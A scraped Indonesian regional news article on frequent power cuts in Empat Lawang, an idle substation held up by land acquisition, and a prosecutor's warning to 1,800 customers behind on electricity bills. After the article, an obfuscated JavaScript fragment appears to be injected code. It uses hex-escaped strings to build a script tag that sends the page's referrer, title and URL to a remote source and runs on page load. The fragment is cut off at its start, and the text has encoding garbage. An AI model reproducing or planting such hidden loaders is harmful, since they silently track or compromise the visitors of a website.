Di Empat Lawang, Listrik Byarpet Terus Karena Gardu Induk (GI) Belum Difungsikan!

*Masih Terhalang Pembebasan Lahan Tapak Tower.

*Penunggak Listrik Mencapai 1800 Pelanggan.

*Kajari Ai??Empat Lawang Azwar Z Hakim: Ai??”Masyarakat jangan hanya menuntut hak saja, tapi harus taat juga dengan kewajiban”.

KORANFORUM.COM, TEBINGTINGGIAi?? – Permasalahan listrik yang sering mati atau biyarpet setiap hari di Empat Lawang, tidak lain tidak bukan
disebabkan listrik di ‘Bumi Saling Keruani Sangi Kerawati’ ini masih mengharapkan aliran listrik ke Kabupaten Tetangga seperti Musirawas dan Lahat, Belum memiliki transmisi sendiri.

Manager PT PLN Area Lahat, Riswandi mengatakan, Gardu Induk (GI) yang berada dikawasan Talang Gunung Kecamatan Tebing Tinggi sudah tiga tahun selesai, namun belum difungsikan, lantaran ada masalah pembebasan lahan.

“Gardu induk(GI) sudah tiga tahun selesai,tapi belum dapat difungsikan sebagaimana mestinya,karena ada kendala pembebasan lahan tapak tower sutet dari arah Lubuk Linggau,”kata Riswandi pada saat menyampaikan sambutannya disosialisasi hukum dan kelistrikan di kantor Camat Tebing Tinggi.

Menurutnya, apabila GI tersebut sudah dapat difungsikan, maka tidak ada lagi kendala listrik mati di Kabupaten Empat Lawang ini.

“Ya kalau memang sudah difungsikan, khususnya untuk dikecamatan Tebing Tinggi tidak ada kendala lagi masalah listrik ini,”jelasnya.

Sementara itu Kepala Kejaksaan Negeri (Kajari) Empat Lawang, Azwar Z Hakim mengungkapkan bahwa maksud dan tujuan sosialisasi hukum dan kelistrikan ini, supaya yang hadir disini bisa diteruskan kepelanggan yang lainnya, terutama yang menunggak pembayaran listrik.

“Karena sesuai dengan Data yang kita dapat,itu ada 1800 PelangganAi?? yang melakukan penunggakan listrik,” ungkap Azwar.

Kalau para pelanggan listrik tersebut bisa menerima aliran listrik,itu dikarenakan sudah sesuai dengan perjanjian ketika hendak melakukan pemasangan listrik.

“Jangan hanya bisanya menuntut hak saja, tapi kita juga harus tahu kewajiban kita, yaitu dengan membayar tunggakan listrik ini, dan kami bisa gugat secara perdata karena ini adalah hutang dengan Negara,”ujarnya. (sastro/hastuti)

Ai??

ot;\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *